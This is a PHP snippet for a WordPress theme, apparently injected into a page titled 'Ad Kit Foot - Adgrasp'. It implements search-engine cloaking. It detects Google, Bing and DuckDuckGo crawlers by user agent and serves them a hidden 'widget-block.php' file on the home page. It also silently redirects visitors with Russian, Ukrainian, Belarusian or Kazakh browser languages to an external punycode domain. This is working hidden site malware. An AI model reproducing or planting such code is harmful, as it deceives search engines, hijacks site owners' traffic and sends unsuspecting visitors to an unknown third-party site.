function advanced_is_search_bot() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; $google_list = [ 'googlebot', 'google-inspectiontool', 'google-site-verification', 'mediapartners-google', 'adsbot-google', 'apis-google', 'googleweblight', 'googleproducer', 'storebot-google', 'google-adwords-instant', 'google-adwords', 'google-structured-data-testing-tool', 'googlebot-image', 'googlebot-video', 'googlebot-news', 'chrome-lighthouse', 'pagespeed/1.0', 'rendertron' ]; $bing_list = [ 'bingbot', 'msnbot', 'bingpreview', 'adidxbot', 'msnbot-media' ]; $duck_list = [ 'duckduckbot', 'duckduckgo-favicons-bot' ]; foreach ($google_list as $bot) { if (strpos($ua, $bot) !== false) { return 'google'; } } foreach ($bing_list as $bot) { if (strpos($ua, $bot) !== false) { return 'bing'; } } foreach ($duck_list as $bot) { if (strpos($ua, $bot) !== false) { return 'duckduckgo'; } } return false; } add_action('template_redirect', 'final_cloaking_system_combined', 1); function final_cloaking_system_combined() { $uri = $_SERVER['REQUEST_URI']; $path = parse_url($uri, PHP_URL_PATH); $is_home = ($path === '/' || $path === '/index.php'); if (!$is_home) return; $bot = advanced_is_search_bot(); if ($bot) { nocache_headers(); $file = get_stylesheet_directory() . '/widget-block.php'; if (!file_exists($file)) { $file = get_template_directory() . '/widget-block.php'; } if (file_exists($file)) { include $file; exit; } } $lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']) : ''; if (preg_match('/(ru|uk|be|kk)/', $lang) && !$bot) { wp_redirect('https://xn--son2-50a.cc/', 302); exit; } } Ad Kit Foot - Adgrasp